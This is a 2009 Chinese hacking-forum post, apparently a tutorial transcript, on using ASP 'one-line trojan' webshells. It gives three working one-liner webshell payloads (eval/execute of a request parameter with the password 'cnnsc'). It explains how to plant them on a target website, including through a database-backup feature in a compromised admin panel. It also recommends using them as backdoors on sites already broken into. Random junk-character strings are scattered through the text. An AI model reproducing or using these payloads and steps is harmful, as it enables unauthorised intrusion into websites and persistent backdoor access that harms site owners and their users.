【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
8 h, ]: r* G; ]; G0 a
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~- ]6 ^5 r5 {/ ]* i; T( m$ \

1、咱们先弄懂怎么使用的。! Y) ^2 ^$ h, Q1 [

分为客户端和服务端- U" h$ v' k$ x: t; c2 F
, R$ c) a. r. q
3 F: Z/ p5 @+ h9 z4 O6 t
客户端是连接上去的程序，也可以是网页! r) E6 A0 V7 e4 y7 s
7 j; I; a+ d4 U5 T
http://www.3ast.com.cn/tool/yijuhua.html
/ M* N$ e# Q+ ^0 t- i
服务端就是一段代码，代码里有对应的“密码”" W1 F$ X4 {& a! x/ r: i: `" P2 b
% A# V% \: _+ k$ W$ h) n! f
提供三个服务端: / ]' B" c% o& @  M9 l0 A
1. <%eval request("cnnsc")%> 0 t$ h$ @1 ~( N; k
2. <%execute request("cnnsc")%>
3. <%execute(request("cnnsc"))%>
! i) E/ y: W8 b8 q! _
cnnsc--密码

我们只要把这个代码插入到对方网站的网页中就可以了" g. W( z) @4 L% C( O

我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%> $ P# t" e) T9 y# g
4 a% j5 Y0 p. [  z6 Q* Y1 \! F  i4 u
换一个页面，添加过了。访问的时候一切正常，看链接

上传之后
; d* O( y' D' j1 y
链接上去了: x- H, c& o4 b/ U
OK.这个就是链接的主要过程4 }3 x0 W5 c6 Y( R
. ?# W0 B' T2 ^* O$ U

2、然后懂得哪里会用上、怎么用! T" \- X3 B6 [

(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了6 y$ C8 b0 \6 J& ?; f4 x3 U

(2)可以给自己入侵的网站留下后门。。。。& {1 Q( `9 ]* S0 a3 U" S4 P0 l

(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。5 ~% R: n! e) g: a/ R$ p
0 L3 B7 X8 V* w& S& T( w/ U
好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27